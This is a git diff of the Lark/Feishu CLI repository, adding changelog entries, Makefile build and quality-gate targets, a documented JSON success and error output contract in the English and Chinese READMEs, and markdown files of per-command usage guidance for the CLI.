+- **drive**: Strengthen lark-drive high-risk write operations and read-only recognition boundaries. (#1801)
+- **slides**: add slides chart demo reference
+
+### Bug Fixes
+
+- register and consume --json shorthand for custom-format shortcuts (#1737)
+- **drive**: abort push on parent sibling limit (#1813)
+
+### Documentation
+
+- require native charts in slide planning
+- register knowledge organize workflow (#1828)
+
+## [v1.0.67] - 2026-07-08
+
+### Features
+
+- **mail**: add message modify and trash shortcuts (#1567)
+- support whiteboard file inputs in docs XML (#1784)
+- **vc**: refine meeting-events output and reaction forwarding (#1674)
+- **affordance**: usage guidance for shortcuts and per-command skills (#1793)
+
+### Bug Fixes
+
+- accept opaque wiki node tokens (#1789)
+- **apps**: make db --environment optional, auto-select branch server-side (#1735)
+- preserve original filename in multipart file upload (#1767)
+
+### Documentation
+
+- restore one-time authorization guidance in lark-apps skill (#1794)
+
+### Misc
+
+- e2e: harden CLI E2E retry, cleanup, and domain selection (#1709)
+
+## [v1.0.66] - 2026-07-07
+
+### Features
+
+- support semantic recurring calendar operations (#1723)
+- minute wait (#1768)
+
+### Bug Fixes
+
+- guide drive import concurrency conflicts (#1751)
+- **calendar**: guide approval room booking fallback (#1637)
+- support pnpm global installs in self-update (#1705)
+- resolve schema against runtime metadata in plugin builds; gate cache overlay by version (#1764)
+
+### Documentation
+
+- tighten doc creation validation workflow (#1759)
+- clarify success envelope contract — judge success by ok, not code (#1730)
+
+### Refactoring
+
+- **envvars**: consolidate agent env value access (#1757)
+
+### Misc
+
+- Improve agent-facing error guidance for drive, markdown, and wiki (#1779)
+
+## [v1.0.65] - 2026-07-03
+
+### Features
+
+- **doc**: Add `+history-list`, `+history-revert`, and `+history-revert-status` shortcuts for document version history (#1612)
+
+### Bug Fixes
+
+- **minutes**: `+speaker-replace` no longer refetches the speaker list — `--from-speaker-id` is passed through as-is (#1731)
+
+### Documentation
+
+- **drive**: Document 30-char query limit for `+search` (#1560)
+- **doc**: Add mindnote guidance to lark-doc skill (#1581)
+- **doc**: Sync lark-doc skill content from online-doc (#1701)
+
+## [v1.0.64] - 2026-07-02
+
+### Features
+
+- **im**: Upgrade card send to Card 2.0 with full component reference (#1688)
+- **im**: Add `+chat-members-list` shortcut for member listing (#1398)
+- **okr**: Semi-plain text format with mention position preservation and `patch` shortcut (#1671)
+
+### Bug Fixes
+
+- **cli**: Point permission-apply link at official `/page/scope-apply` entry (#1722)
+- **cli**: Improve secure label error handling (#1707)
+- **cli**: Reduce public content token false positives
+- **cli**: Increase npm registry fetch timeout to 15s during update check (#1724)
+- **doc**: Align word statistics compound tokens (#1706)
+
+### Documentation
+
+- **approval**: Add detailed command-to-reference mapping for the approval skill (#1630)
+- **doc**: Support `reference_map` in docs (#1690)
+- **slides**: Refresh generation guidance — add constraints, drop template toolchain, and inline lint XML fixtures
+
+## [v1.0.62] - 2026-07-01
+
+### Features
+
+- **vc**: Add meeting message send shortcut (#1643)
+- **doc**: Add document word statistics helper (#1697)
+- **cli**: Interactive upgrade prompt for bare `lark-cli` invocation (#1498)
+- **install**: Fail closed when `checksums.txt` is missing during install (#1503)
+
+### Bug Fixes
+
+- **drive**: Improve batch failure handling for push/pull/sync (#1703)
+- **base**: Support JSON array input for field create (#1661)
+- **task**: Expose completion state in `my tasks` output (#1641)
+- **cli**: Reduce public content credential false positives (#1700)
+
+## [v1.0.61] - 2026-06-30
+
+### Features
+
+- **apps**: Add `db`, `file`, `openapi-key` and observability shortcuts (#1596)
+- **identity**: Add `whoami` command showing effective identity (#1666)
+- **docs**: Add reference map flags (#1547)
+
+### Bug Fixes
+
+- **identity**: Correct identity diagnosis under external credential providers (#1693)
+- **cli**: Harden git credential error handling (#1676)
+
+### Documentation
+
+- **doc**: Guide document copy skill usage (#1673)
+- **doc**: Fix lark-doc media token examples (#1662)
+
+## [v1.0.60] - 2026-06-29
+
+### Features
+
+- **affordance**: Per-command usage guidance system with markdown source (#1565)
+- **event**: Support VC meeting lifecycle events (#1632)
+- **sheets**: Use `office_sheet_file` parent_type for imported office spreadsheets (#1606)
+- **authorization**: Expand lark-shared auth guidance and assert clean logout JSON (#1598)
+- **transport**: Add `LARK_CLI_NO_PROXY_WARN` to silence proxy warning (#1647)
+
+### Bug Fixes
+
+- **install**: Load `@clack/prompts` via dynamic import to avoid `ERR_REQUIRE_ESM` (#1652)
+
+### Tests
+
+- **doc**: Derive fetch test flag defaults from `v2FetchFlags` (#1428)
+
+### Build
+
+- **ci**: Reduce public content false positives
+
+## [v1.0.59] - 2026-06-26
+
+### Features
+
+- **slides**: Add `+replace-pages` and `xml get` shortcuts, and expose the presentation URL (#1585)
+- **minutes**: Support speaker list and no-Lark speaker replace (#1594)
+- **calendar/vc/minutes**: Optimize and extend calendar, vc, minutes, and note shortcuts and skills (#1571)
+
+### Bug Fixes
+
+- **docs**: Hide docs `api-version` compat flag (#1580)
+
+## [v1.0.58] - 2026-06-25
+
+### Features
+
+- **sheets**: Typed table I/O and error contract, workbook import/export, and skill refresh (#1355)
+- **base**: Add Base URL and title resolve shortcuts (#1338)
+- **drive**: Add `+member-add` shortcut with wiki space member collection collaborator support (#1204)
+- **doc**: Support `create` title option (#1536)
+- **doc**: Add `im-markdown` output format for doc fetch (#1550)
+- **whiteboard**: Export whiteboard as SVG and update whiteboard via SVG (#1559)
+- **card**: Support `card.action.trigger` event with auto-fetched card content (#1528)
+- **task**: Add task event consumer (#1510)
+
+### Bug Fixes
+
+- **doc**: Prefix docs resource shortcuts (#1564)
+- **binding**: Skip unix mode audit on Windows (#1525)
+
+### Documentation
+
+- **approval**: Sync approval skill for meta API commands (#1499)
+- **doc**: Restore lark-doc style requirements (#1579)
+- **im**: Document `chat.nickname` get/update/delete (#1378)
+- **im**: Clarify audio message opus requirement (#1271)
+
+### Build
+
+- **ci**: Add public content safeguards and reduce false positives
+
+## [v1.0.57] - 2026-06-23
+
+### Features
+
+- **slides**: Add `+screenshot` to capture slide page images (or render a single `<slide>` XML snippet), returning the local file path instead of Base64 (#1358)
+- **base**: Support record comments (#1043)
+- **search**: Surface search API notices (#1413)
+
+### Bug Fixes
+
+- **mail**: Resolve folder/label filter once per `+triage list` call (#1512)
+- **meta**: Backfill enum value descriptions from options (#1541)
+- **cli**: Add missing CLI headers for git credential helper (#1539)
+
+### Documentation
+
+- **doc**: Refine rich block, path, and block ID guidance (#1508)
+- **mail**: Trim lark-mail skill context (#1527)
+- **drive**: Add permission governance workflow guidance (#1292)
+
+### Build
+
+- **ci**: Bind semantic review to workflow run head (#1551)
+
+## [v1.0.56] - 2026-06-18
+
+### Features
+
+- **apps**: Add `+session-messages-list` for session turn reply messages (#1402)
+
+### Bug Fixes
+
+- **api**: Align API success envelopes (#1489)
+- **base**: Reject out-of-range pagination flags (#1495)
+
+### Refactor
+
+- Retire legacy error envelopes and enforce typed contract (#1449)
+
+### Documentation
+
+- **skills**: Soften lark-doc style guidance (#1463)
+
+### Build
+
+- Add CI quality gate with semantic review
+
+## [v1.0.55] - 2026-06-16
+
+### Features
+
+- **vc**: Support agent meeting event workflows (#1483)
+- **drive**: Support exporting Base structure snapshots (#1481)
+- **doc**: Add docx cover resource commands (#1468)
+- **doc**: Support `lang` for docx fetch v2 (#1459)
+- **event**: Optimize subscription precheck, links, and consumer guard (#1447)
+
+### Bug Fixes
+
+- **drive**: Validate drive import folder target (#1485)
+
+## [v1.0.54] - 2026-06-15
+
+### Features
+
+- **mail**: Auto-attach default signature on send/reply/forward (#1415)
+- **drive**: Support `original_creator_ids` filter in search (#1046)
+- **cli**: Simplify proxy plugin warning and gate it on TTY (#1448)
+
+### Bug Fixes
+
+- **doc**: Fix docs fetch and update ergonomics (#1466)
+- **vfs**: Reject blank local paths (#1460)
+- **vfs**: Reject Windows absolute paths cross-platform (#1401)
+- **event**: Clarify remote bus blocker recovery (#1454)
+
+### Refactor
+
+- Converge command pipelines onto a typed metadata model + catalog (#1191)
+
+### Documentation
+
+- **im**: Document `@mention` format per message type (text/post/card) (#1419)
+- **doc**: Clarify lark-doc create title guidance (#1474)
+- **skills**: Add rename prompt for import without `--name` (#1461)
+- **apps**: Drop Miaoda brand word from apps command help text (#1399)
+
+## [v1.0.53] - 2026-06-12
+
+### Features
+
+- **auth**: Revoke user tokens server-side on `auth logout` (#1434)
+- **auth**: Add `--json` flag support to auth subcommands (#1431)
+- **token**: Mint TAT via unified OAuth v3 Token Endpoint (#1408)
+- **note**: Split note into a dedicated domain with `+detail` and `+transcript` flows (#1345, #1417, #1435)
+- **im**: Unify sort flags into `--sort` field and `--order` direction (#1302)
+
+### Bug Fixes
+
+- **apps**: Read release error_logs from `data.error_logs` in `+release-get` (#1436)
+
+### Documentation
+
+- **skills**: Optimize whiteboard skill (#1371)
+- **skills**: Optimize okr skill (#1368)
+
+## [v1.0.52] - 2026-06-11
+
+### Features
+
+- **events**: Per-resource subscription identity + Match hook (#1185)
+- **apps**: Emit typed error envelopes across the apps domain (#1288)
+- **wiki**: Emit typed error envelopes across the wiki domain (#1350)
+- **im**: Add `--chat-modes` filter to chat search (#1317)
+- **apps**: Exclude `.git` directory from `+html-publish` package (#1396)
+- **build**: Support riscv64 prebuilt binaries in release and install pipeline
+
+### Bug Fixes
+
+- **apps**: Support git credential dry-run (#1390)
+- **whiteboard**: Fix parsing empty whiteboard content (#1391)
+- **build**: Make `-race` flag arch-conditional to support riscv64
+
+### Documentation
+
+- **im**: Document `chat.user_setting` batch_query/batch_update (#1339)
+- **im**: Document `chat.managers` and `chat.moderation` API resources (#1294)
+- **skills**: Optimize lark-drive skill routing (#1284)
+- **skills**: Expand cite user guidance and fix typos (#1394)
+
+## [v1.0.51] - 2026-06-10
+
+### Features
+
+- **apps**: Support multi dev modes (#1175)
+- **im**: Complete audio/post rendering and add opt-in `--download-resources` (#1245)
+- **base**: Configure initial base table schema (#1377)
+- **vc**: Add recording event support (#1369)
+- **minutes**: Replace words for transcript (#1372)
+- **markdown**: Emit typed error envelopes across the markdown domain (#1347)
+- **sheets**: Emit typed error envelopes across the sheets domain (#1348)
+- **slides**: Emit typed error envelopes across the slides domain (#1349)
+
+### Documentation
+
+- **skills**: Warn about `@file` absolute path restriction in lark-doc skills (#1375)
+- **skills**: Remove unsupported ⚠️ from callout emoji list (#1374)
+
+## [v1.0.50] - 2026-06-09
+
+### Features
+
+- **doc**: Emit typed error envelopes across the doc domain (#1346)
+- **event**: Emit typed error envelopes across the event domain (#1289)
+- **contact**: Emit typed error envelopes across the contact domain (#1287)
+- **sheets**: Guard `+csv-put --csv` against a path passed without `@` (#1337)
+- **cli**: Adjust agent timeout hint output conditions (#1328)
+
+### Bug Fixes
+
+- **drive**: Add `@file`/stdin support to `+add-comment --content` (#1343)
+- **slides**: Build create URL locally instead of drive metas call (#1329)
+- **cli**: Clarify `--block-id` supports comma-separated batch delete in help text (#1336)
+
+### Documentation
+
+- **doc**: Replace append with `block_insert_after` in skeleton workflow guidance (#1340)
+- **doc**: Document `<folder-manager>` resource block (#1168)
+- **drive**: Add drive comment location guidance (#1258)
+
+## [v1.0.49] - 2026-06-08
+
+### Features
+
+- **events**: Add whiteboard event domain with per-board subscription (#1265)
+- **im**: Support feed group (#1102)
+- **im**: Add feed shortcut create, list, and remove shortcuts (#1273)
+- **im**: Format feed group error handling (#1308)
+- **im**: Return typed error envelopes across the im domain (#1230)
+- **base**: Emit typed error envelopes across the base domain (#1248)
+- **calendar**: Emit typed error envelopes across the calendar domain (#1232)
+- **task**: Emit typed error envelopes across the task domain (#1231)
+- **okr,whiteboard**: Emit typed error envelopes across both domains (#1236)
+- **minutes,vc**: Emit typed error envelopes across both domains (#1234)
+- **markdown**: Harden create upload failures (#1325)
+- **drive**: Harden inspect shortcut failures (#1324)
+- **slides**: Add IconPark lookup for Lark slides (#1123)
+- **doc**: Remove docs v1 API (#1291)
+- **cli**: Add `skills` command to read embedded skill content (#1318)
+- **cli**: Fetch official skills index (#1301)
+- **shared**: Document relative-path-only file arguments (#1319)
+- **scopes**: Clear `recommend.allow` scope auto-approve overrides (#1272)
+- **shortcuts**: Check shortcut example commands against the live CLI tree (#1244)
+
+### Bug Fixes
+
+- **events**: Keep bounded event consume runs alive after stdin EOF (#1285)
+- **drive**: Use docs secure label read scope (#1281)
+
+### Documentation
+
+- **approval**: Restructure skill with intent table and scope boundaries (#1307)
+- **skills**: Tighten drive and markdown guardrails (#1326)
+- **skills**: Optimize calendar, vc, and minutes skill guidance (#1269)
+- **markdown**: Add markdown domain template (#1293)
+- **markdown**: Improve lark-markdown skill guidance (#1279)
+- **doc**: Improve lark-doc skill guidance (#1283)
+- **wiki**: Optimize skill guidance and routing boundaries (#1275)
+- **slides**: Tighten routing/boundary and reconcile in-slide whiteboard (#1169)
+
+## [v1.0.48] - 2026-06-04
+
+### Features
+
+- **mail**: Preserve mailbox context in `+triage` output for public mailboxes (#1238)
+- **contact**: Add contact skill domain guidance (#1144)
+
+### Bug Fixes
+
+- **skills**: Use JSON skills list during update (#1251)
+
+### Documentation
+
+- **drive**: Refine lark-drive knowledge organize workflow (#1253)
+- **vc-agent**: Require explicit leave request (#1260)
+- **slides**: Add whiteboard element documentation and improve slide guidance (#1029)
+
+## [v1.0.47] - 2026-06-03
+
+### Features
+
+- **sheets**: Add spec-driven shortcut package with backward-compatible wrapper (#1220)
+- **base**: Add base block shortcuts (#1044)
+- **im**: Complete card message format (#1198)
+- **im**: Improve markdown guidance for messages (#1237)
+- **vc**: Forward invite call-id on meeting join (#1243)
+- **drive**: Emit typed error envelopes across the drive domain (#1205)
+- **common**: Emit typed validation errors from shared shortcut pre-checks (#1242)
+- **mail**: Validate `message_ids` in `+messages` before batch get (#1202)
+- **wiki**: Support `appid` member type (#1235)
+- **cli**: Add `--json` flag as no-op alias for `--format json` (#1104)
+- **config**: Validate credentials after `config init` (#1151)
+
+### Bug Fixes
+
+- **skills**: Recover empty fallback for skills to update (#1233)
+
+## [v1.0.46] - 2026-06-02
+
+### Features
+
+- **im**: Add card message format support (#1218)
+- **im**: Resolve markdown blank-line formatting inconsistency in post messages (#1216)
+- **vc**: Inline transcript from artifacts API and add keywords (#1206)
+- **transport**: Add proxy plugin mode for CLI HTTP transport (#1181)
+- **agent**: Increase agent trace max length to 1024 (#1211)
+- **shortcuts**: Unconditionally inject `--format` flag for all shortcuts (#1156)
+
+### Bug Fixes
+
+- **cli**: Remove FLAGS section from root `--help` (#1226)
+- **cli**: Stop root `--help` listing per-command flags as global (#1223)
+
+### Refactor
+
+- **transport**: Own all HTTP transport in `internal/transport`, fix util layering inversion (#1213)
+
+### Documentation
+
+- **base**: Optimize base skill references (#1171)
+- **drive**: Add Lark Drive knowledge organization workflow (#1028)
+
 ## [v1.0.45] - 2026-06-01
 
 ### Features
@@ -964,6 +1608,34 @@ Bundled AI agent skills for intelligent assistance:
 - Bilingual documentation (English & Chinese).
 - CI/CD pipelines: linting, testing, coverage reporting, and automated releases.
 
+[v1.0.74]: https://github.com/larksuite/cli/releases/tag/v1.0.74
+[v1.0.73]: https://github.com/larksuite/cli/releases/tag/v1.0.73
+[v1.0.72]: https://github.com/larksuite/cli/releases/tag/v1.0.72
+[v1.0.71]: https://github.com/larksuite/cli/releases/tag/v1.0.71
+[v1.0.70]: https://github.com/larksuite/cli/releases/tag/v1.0.70
+[v1.0.69]: https://github.com/larksuite/cli/releases/tag/v1.0.69
+[v1.0.68]: https://github.com/larksuite/cli/releases/tag/v1.0.68
+[v1.0.67]: https://github.com/larksuite/cli/releases/tag/v1.0.67
+[v1.0.66]: https://github.com/larksuite/cli/releases/tag/v1.0.66
+[v1.0.65]: https://github.com/larksuite/cli/releases/tag/v1.0.65
+[v1.0.64]: https://github.com/larksuite/cli/releases/tag/v1.0.64
+[v1.0.62]: https://github.com/larksuite/cli/releases/tag/v1.0.62
+[v1.0.61]: https://github.com/larksuite/cli/releases/tag/v1.0.61
+[v1.0.60]: https://github.com/larksuite/cli/releases/tag/v1.0.60
+[v1.0.59]: https://github.com/larksuite/cli/releases/tag/v1.0.59
+[v1.0.58]: https://github.com/larksuite/cli/releases/tag/v1.0.58
+[v1.0.57]: https://github.com/larksuite/cli/releases/tag/v1.0.57
+[v1.0.56]: https://github.com/larksuite/cli/releases/tag/v1.0.56
+[v1.0.55]: https://github.com/larksuite/cli/releases/tag/v1.0.55
+[v1.0.54]: https://github.com/larksuite/cli/releases/tag/v1.0.54
+[v1.0.53]: https://github.com/larksuite/cli/releases/tag/v1.0.53
+[v1.0.52]: https://github.com/larksuite/cli/releases/tag/v1.0.52
+[v1.0.51]: https://github.com/larksuite/cli/releases/tag/v1.0.51
+[v1.0.50]: https://github.com/larksuite/cli/releases/tag/v1.0.50
+[v1.0.49]: https://github.com/larksuite/cli/releases/tag/v1.0.49
+[v1.0.48]: https://github.com/larksuite/cli/releases/tag/v1.0.48
+[v1.0.47]: https://github.com/larksuite/cli/releases/tag/v1.0.47
+[v1.0.46]: https://github.com/larksuite/cli/releases/tag/v1.0.46
 [v1.0.45]: https://github.com/larksuite/cli/releases/tag/v1.0.45
 [v1.0.44]: https://github.com/larksuite/cli/releases/tag/v1.0.44
 [v1.0.43]: https://github.com/larksuite/cli/releases/tag/v1.0.43

Makefile

@@ -5,10 +5,25 @@ BINARY   := lark-cli
 MODULE   := github.com/larksuite/cli
 VERSION  := $(shell git describe --tags --always --dirty 2>/dev/null || echo dev)
 DATE     := $(shell date +%Y-%m-%d)
+NODE     ?= node
+QUALITY_GATE_CHANGED_FROM ?= $(shell bash scripts/resolve-changed-from.sh)
+QUALITY_GATE_CHANGED_FROM_RESOLVED = $(if $(strip $(QUALITY_GATE_CHANGED_FROM)),$(QUALITY_GATE_CHANGED_FROM),$(shell bash scripts/resolve-changed-from.sh))
+QUALITY_GATE_DIR ?= .tmp/quality-gate
+QUALITY_GATE_MANIFEST_OUT ?= $(QUALITY_GATE_DIR)/command-manifest.json
+QUALITY_GATE_COMMAND_INDEX_OUT ?= $(QUALITY_GATE_DIR)/command-index.json
+QUALITY_GATE_FACTS_OUT ?= $(QUALITY_GATE_DIR)/facts.json
+PUBLIC_CONTENT_METADATA ?= $(QUALITY_GATE_DIR)/public-content-metadata.json
 LDFLAGS  := -s -w -X $(MODULE)/internal/build.Version=$(VERSION) -X $(MODULE)/internal/build.Date=$(DATE)
 PREFIX   ?= /usr/local
 
-.PHONY: all build vet fmt-check test unit-test integration-test examples-build install uninstall clean fetch_meta gitleaks
+# The repository's Go 1.23 CI toolchain does not support -race on riscv64.
+# Prefer GOARCH passed to make (for example, `make GOARCH=riscv64 unit-test`)
+# over `go env GOARCH`, because command-line make variables are not visible to
+# $(shell ...).
+TEST_GOARCH := $(or $(GOARCH),$(shell go env GOARCH))
+RACE_FLAG := $(if $(filter riscv64,$(TEST_GOARCH)),,-race)
+
+.PHONY: all build vet fmt-check script-test test unit-test live-skills-test integration-test examples-build quality-gate install uninstall clean fetch_meta gitleaks sidecar-test
 
 all: test
 
@@ -32,21 +47,60 @@ fmt-check:
 		exit 1; \
 	fi
 
+script-test:
+	bash scripts/resolve-changed-from.test.sh
+	bash scripts/ci-workflow.test.sh
+	bash scripts/semantic-review-workflow.test.sh
+	$(NODE) --test scripts/e2e_domains.test.js scripts/fetch_e2e_tat.test.js scripts/semantic-review-verify-artifact.test.js scripts/pr-quality-summary.test.js scripts/semantic-review-publish.test.js scripts/ci-quality-summary-publish.test.js
+
 # ./extension/... keeps the public plugin SDK in the default test matrix.
 unit-test: fetch_meta
-	go test -race -gcflags="all=-N -l" -count=1 \
+	go test $(RACE_FLAG) -gcflags="all=-N -l" -count=1 \
 		./cmd/... ./internal/... ./shortcuts/... ./extension/...
 
+live-skills-test: fetch_meta
+	LARKSUITE_CLI_RUN_LIVE_SKILLS_TESTS=1 \
+	go test -v -count=1 ./cmd/update \
+		-run '^TestUpdateCommand_(RealSkillsSyncRewritesState|SkillsSyncColdStart)$$'
+
 # examples-build keeps the shipped plugin-SDK examples compilable. If this
 # breaks, the plugin author guide's "go build ./..." path is broken.
 examples-build:
 	go build ./extension/platform/examples/audit-observer
 	go build ./extension/platform/examples/readonly-policy
 
+# ./tests/... includes tests/plugin_e2e, which builds ~20 customer-fork
+# binaries (~1 min warm; a cold module cache also downloads via GOPROXY).
+# Deliberate: local `make test` exercises the L4 plugin contract by default.
 integration-test: build
 	go test -v -count=1 ./tests/...
 
-test: vet fmt-check unit-test examples-build integration-test
+test: vet fmt-check script-test unit-test examples-build integration-test
+
+quality-gate: build
+	mkdir -p $(QUALITY_GATE_DIR) $(dir $(QUALITY_GATE_FACTS_OUT)) $(dir $(PUBLIC_CONTENT_METADATA))
+	test -f $(PUBLIC_CONTENT_METADATA) || printf '{}\n' > $(PUBLIC_CONTENT_METADATA)
+	LARKSUITE_CLI_REMOTE_META=off \
+	LARKSUITE_CLI_NO_UPDATE_NOTIFIER=1 \
+	LARKSUITE_CLI_NO_SKILLS_NOTIFIER=1 \
+	go run ./internal/qualitygate/cmd/manifest-export \
+		--manifest-out $(QUALITY_GATE_MANIFEST_OUT) \
+		--command-index-out $(QUALITY_GATE_COMMAND_INDEX_OUT)
+	LARKSUITE_CLI_APP_ID=dry-run \
+	LARKSUITE_CLI_APP_SECRET=dry-run \
+	LARKSUITE_CLI_BRAND=feishu \
+	LARKSUITE_CLI_CONFIG_DIR=$${TMPDIR:-/tmp}/quality-gate-cli-config \
+	LARKSUITE_CLI_REMOTE_META=off \
+	LARKSUITE_CLI_NO_UPDATE_NOTIFIER=1 \
+	LARKSUITE_CLI_NO_SKILLS_NOTIFIER=1 \
+	go run ./internal/qualitygate/cmd/quality-gate check \
+		--repo . \
+		--cli-bin ./$(BINARY) \
+		--changed-from $(QUALITY_GATE_CHANGED_FROM_RESOLVED) \
+		--manifest $(QUALITY_GATE_MANIFEST_OUT) \
+		--command-index $(QUALITY_GATE_COMMAND_INDEX_OUT) \
+		--public-content-metadata $(PUBLIC_CONTENT_METADATA) \
+		--facts-out $(QUALITY_GATE_FACTS_OUT)
 
 install: build
 	install -d $(PREFIX)/bin
@@ -59,6 +113,14 @@ uninstall:
 clean:
 	rm -f $(BINARY)
 
+# sidecar-test compiles and runs the authsidecar* build-tagged code that the
+# default CI matrix never sees (they carry //go:build tags).
+sidecar-test:
+	go build -tags authsidecar -o /dev/null .
+	go test $(RACE_FLAG) -count=1 -tags authsidecar ./extension/credential/sidecar/ ./extension/transport/sidecar/ ./internal/cmdutil/
+	go test $(RACE_FLAG) -count=1 -tags authsidecar_demo ./sidecar/server-demo/
+	go test $(RACE_FLAG) -count=1 -tags authsidecar ./tests/sidecar_e2e/
+
 # Run secret-leak checks locally before pushing.
 # Step 1: check-doc-tokens catches realistic-looking example tokens in reference
 #         docs and asks you to use _EXAMPLE_TOKEN placeholders instead.

README.md

@@ -41,7 +41,7 @@ The official [Lark/Feishu](https://www.larksuite.com/) CLI tool, maintained by t
 | ✍️ Approval   | Query approval tasks, approve/reject/transfer tasks, cancel and CC instances                                                      |
 | 🎯 OKR        | Query, create, update OKRs; manage objective & key results, alignments, indicators and progress.                                  |
 | 📋 Project    | Meegle — manage work items, schedules, and data via the standalone [meegle-cli](https://github.com/larksuite/meegle-cli) (install separately) |
-| 🔗 Apps       | Develop, deploy HTML, web pages and applications                                                                                  |
+| 🔗 Apps       | Create Spark/Miaoda apps, publish HTML/static sites, run cloud generation, and manage access scope                                 |
 
 ## Installation & Quick Start
 
@@ -198,7 +198,7 @@ Prefixed with `+`, designed to be friendly for both humans and AI, with smart de
 ```bash
 lark-cli calendar +agenda
 lark-cli im +messages-send --chat-id "oc_xxx" --text "Hello"
-lark-cli docs +create --api-version v2 --doc-format markdown --content $'<title>Weekly Report</title>\n# Progress\n- Completed feature X'
+lark-cli docs +create --doc-format markdown --content $'<title>Weekly Report</title>\n# Progress\n- Completed feature X'
 ```
 
 Run `lark-cli <service> --help` to see all shortcut commands.
@@ -233,6 +233,24 @@ lark-cli api POST /open-apis/im/v1/messages --params '{"receive_id_type":"chat_i
 --format csv       # Comma-separated values
 ```
 
+### JSON Output Contract
+
+With `--format json` (the default), success and error envelopes are distinct.
+
+Success goes to **stdout**, exit code `0`:
+
+```json
+{ "ok": true, "identity": "user", "data": { "guid": "..." }, "meta": { "count": 1 } }
+```
+
+Errors go to **stderr**, non-zero exit code:
+
+```json
+{ "ok": false, "identity": "user", "error": { "type": "api", "subtype": "...", "code": 99991679, "message": "...", "hint": "..." } }
+```
+
+To check whether a command succeeded, test `ok == true` (or the exit code) — **not** `code == 0`. Unlike raw OpenAPI responses (`{"code": 0, "msg": "ok", ...}`), the success envelope carries no `code` or `msg` field; `code` appears only inside `error` as the upstream OpenAPI code. See [errs/ERROR_CONTRACT.md](errs/ERROR_CONTRACT.md) for the full error taxonomy.
+
 ### Pagination
 
 ```bash

README.zh.md

@@ -41,7 +41,7 @@
 | ✍️ 审批     | 查询审批任务、同意/拒绝/转交审批任务、撤回与抄送审批实例              |
 | 🎯 OKR  | 查询、创建、更新 OKR，管理目标、关键结果、对齐、指标和进展记录        |
 | 📋 飞书项目 | 管理工作项、排期与数据 — 由独立的 [meegle-cli](https://github.com/larksuite/meegle-cli) 提供（需单独安装） |
-| 🔗 应用     | 开发、部署 HTML、Web 页面和应用                                                                                                          |
+| 🔗 应用     | 创建妙搭（Spark/Miaoda）应用、发布 HTML/静态站点、云端生成迭代、管理可用范围                                                                                                   |
 
 ## 安装与快速开始
 
@@ -199,7 +199,7 @@ CLI 提供三种粒度的调用方式，覆盖从快速操作到完全自定义
 ```bash
 lark-cli calendar +agenda
 lark-cli im +messages-send --chat-id "oc_xxx" --text "Hello"
-lark-cli docs +create --api-version v2 --doc-format markdown --content $'<title>周报</title>\n# 本周进展\n- 完成了 X 功能'
+lark-cli docs +create --doc-format markdown --content $'<title>周报</title>\n# 本周进展\n- 完成了 X 功能'
 ```
 
 运行 `lark-cli <service> --help` 查看所有快捷命令。
@@ -234,6 +234,24 @@ lark-cli api POST /open-apis/im/v1/messages --params '{"receive_id_type":"chat_i
 --format csv       # 逗号分隔值
 ```
 
+### JSON 输出契约
+
+`--format json`（默认）下，成功与错误的信封结构不同。
+
+成功信封写入 **stdout**，退出码 0：
+
+```json
+{ "ok": true, "identity": "user", "data": { "guid": "..." }, "meta": { "count": 1 } }
+```
+
+错误信封写入 **stderr**，退出码非 0：
+
+```json
+{ "ok": false, "identity": "user", "error": { "type": "api", "subtype": "...", "code": 99991679, "message": "...", "hint": "..." } }
+```
+
+判断命令是否成功，请检查 `ok == true`（或进程退出码），**不要用 `code == 0`**。与原始 OpenAPI 响应（`{"code": 0, "msg": "ok", ...}`）不同，成功信封没有 `code` 和 `msg` 字段；`code` 只出现在错误信封的 `error` 内，含义是上游 OpenAPI 的 numeric code。完整错误分类见 [errs/ERROR_CONTRACT.md](errs/ERROR_CONTRACT.md)。
+
 ### 分页
 
 ```bash

affordance/README.md

@@ -0,0 +1,66 @@
+# Affordance
+
+Per-command usage guidance for the CLI, authored as one markdown file per domain
+(`<service>.md`). It is surfaced in `lark-cli <command> --help` and in the
+`schema` output, and read directly at runtime (lazy, cached) — there is no build
+step. Maintain these files alongside `skills/` and `shortcuts/`.
+
+## Format
+
+A small, fixed markdown subset; each file describes one domain:
+
+    # <domain>            optional `> skill: <name>` applies to every command below
+    ## <command>          the command as typed, minus `lark-cli <domain>`; a
+                          +-prefixed heading (## +create) targets that shortcut
+    <lead paragraph>      when to use this command
+    ### Avoid when        when not to use it / which command to use instead
+    ### Prerequisites     what you must have first (e.g. an id, and where it comes from)
+    ### Tips              gotchas and constraints
+    ### Examples          **description** lines, each followed by a fenced command
+    ### Skills            bullet skill names, or name/relpath references
+                          (lark-contact/references/x.md), to read for usage;
+                          merged with the domain `> skill:` default (deduped,
+                          domain first)
+    ### <other heading>   a custom section; flows through verbatim
+
+Reference another command with `[[command]]` — it renders as `command` in help.
+Under `Avoid when` it means "use that one instead"; under `Prerequisites`
+("… from [[command]]") it means "get the input there first".
+
+Both service-API commands (`## messages get`) and `+`-prefixed shortcuts
+(`## +create`) take entries. A `### Skills` entry is a skill name (validated
+against `<name>/SKILL.md`) or a `name/relpath` reference into that skill
+(validated against the path); help drops any that don't resolve, so a typo shows
+nothing. Point a command at its own reference (e.g. `+search-user` →
+`lark-contact/references/lark-contact-search-user.md`) rather than re-listing the
+domain skill, which the `> skill:` default already covers. When a shortcut also
+sets a hand-authored `Tips` list in Go, the overlay's `### Tips` win — they
+replace the Go tips (not merged), so keep tips in one place.
+
+## Example
+
+    ## messages get
+    Fetch the full content of a single message by id.
+
+    ### Avoid when
+    - Reading several at once → use [[messages batch_get]]
+
+    ### Prerequisites
+    - message_id from [[messages list]]
+
+    ### Examples
+
+    **Fetch one message**
+    ```bash
+    lark-cli mail user_mailbox.messages get --message-id "<id>"
+    ```
+
+## Notes
+
+- Write plain prose; the only convention is wrapping command references in `[[ ]]`.
+- Keep it concise and high-signal — don't restate field/flag names, id types, or
+  anything the schema and flags already show; the agent infers the rest.
+- Command-form headings resolve to method ids via the registry, so plural resource
+  names (`messages`) map to the singular method id (`message`) automatically.
+  `+`-prefixed shortcut headings are matched verbatim (no plural/space folding),
+  so the heading must equal the shortcut command exactly (`## +history-revert`).

affordance/contact.md

@@ -0,0 +1,55 @@
+# contact
+> skill: lark-contact
+
+## +search-user
+The primary user lookup for user identity: search by keyword or email, resolve known ids with --user-ids, or get yourself with --user-ids me — it does by-id reads too, so as a user you rarely need `+get-user`. Each match returns an open_id and p2p_chat_id to chain into follow-ups.
+
+### Skills
+- lark-contact/references/lark-contact-search-user.md
+
+### Avoid when
+- Running as a bot — this shortcut is user-only; use [[+get-user]] instead (it supports bot identity)
+- You only need users' personal status for ids you already hold → use [[user_profiles batch_query]]
+
+### Examples
+
